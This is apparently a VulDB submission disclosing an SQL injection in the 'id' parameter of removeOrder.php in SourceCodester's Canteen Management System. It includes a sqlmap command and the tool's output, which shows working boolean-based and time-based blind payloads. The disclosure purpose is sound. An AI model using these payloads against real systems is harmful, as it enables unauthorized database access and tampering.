| Título | SourceCodester Canteen Management System removeOrder.php sql injection |
|---|
| Descripción | SourceCodester Canteen Management System removeOrder.php sql injection
url: youthappam/php_action/removeOrder.php
Abstract:
Line 16 of removeOrder.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in removeOrder.php at line 16.
sqlmap.py -u "http://192.168.1.7/shenji/youthappam/youthappam/php_action/removeOrder.php?id=111"
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (7136=7136) THEN 111 ELSE (SELECT 4131 UNION SELECT 4069) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 5909 FROM (SELECT(SLEEP(5)))KIEj)
Download Code:
https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html |
|---|
| Fuente | ⚠️ https://blog.csdn.net/weixin_43864034/article/details/128986083 |
|---|
| Usuario | Tingsliat (UID 40768) |
|---|
| Sumisión | 2023-02-11 10:46 (hace 3 años) |
|---|
| Moderación | 2023-02-11 11:06 (20 minutes later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 220624 [SourceCodester Canteen Management System 1.0 removeOrder.php query ID inyección SQL] |
|---|
| Puntos | 20 |
|---|